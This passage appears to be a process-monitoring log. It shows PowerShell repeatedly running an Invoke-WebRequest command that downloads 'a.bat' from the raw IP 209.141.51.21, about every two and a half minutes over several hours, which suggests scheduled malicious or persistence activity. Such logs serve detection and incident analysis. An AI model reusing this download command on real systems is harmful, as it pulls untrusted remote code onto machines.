"Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:05:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:08:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:10:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:13:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:15:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:18:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:20:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:23:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:25:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:28:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:30:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:33:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:36:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:38:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:41:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:43:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:46:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:48:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:51:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:53:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:56:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 03:58:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:01:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:03:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:06:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:08:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:11:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:13:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:16:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:18:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:21:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:23:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:26:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:28:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:31:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:33:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:36:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:38:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:41:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:43:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:46:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:48:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:51:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:53:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:56:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 04:58:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:01:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:03:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:06:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:08:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:11:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:13:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:16:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:18:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:21:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:24:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:26:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:29:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:31:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:34:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:36:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:39:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:41:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:44:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:46:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:49:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:51:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:54:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:56:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 05:59:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:01:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:04:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:06:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:09:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:11:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:14:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:16:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:19:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:21:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:24:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:26:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:29:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:31:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:34:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:36:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:39:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:41:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:44:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:46:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:49:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:51:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:54:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:56:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 06:59:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:01:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:04:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:06:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:09:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:11:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:14:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:16:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:19:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:22:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:24:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:27:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:29:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:32:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:34:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:37:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:39:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:42:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:44:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:47:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:49:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:52:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:54:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:57:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 07:59:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:02:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:04:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:07:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:09:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:12:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:14:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:17:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:19:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:24:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:27:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:29:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:32:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:34:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:37:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:39:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:42:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:44:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest 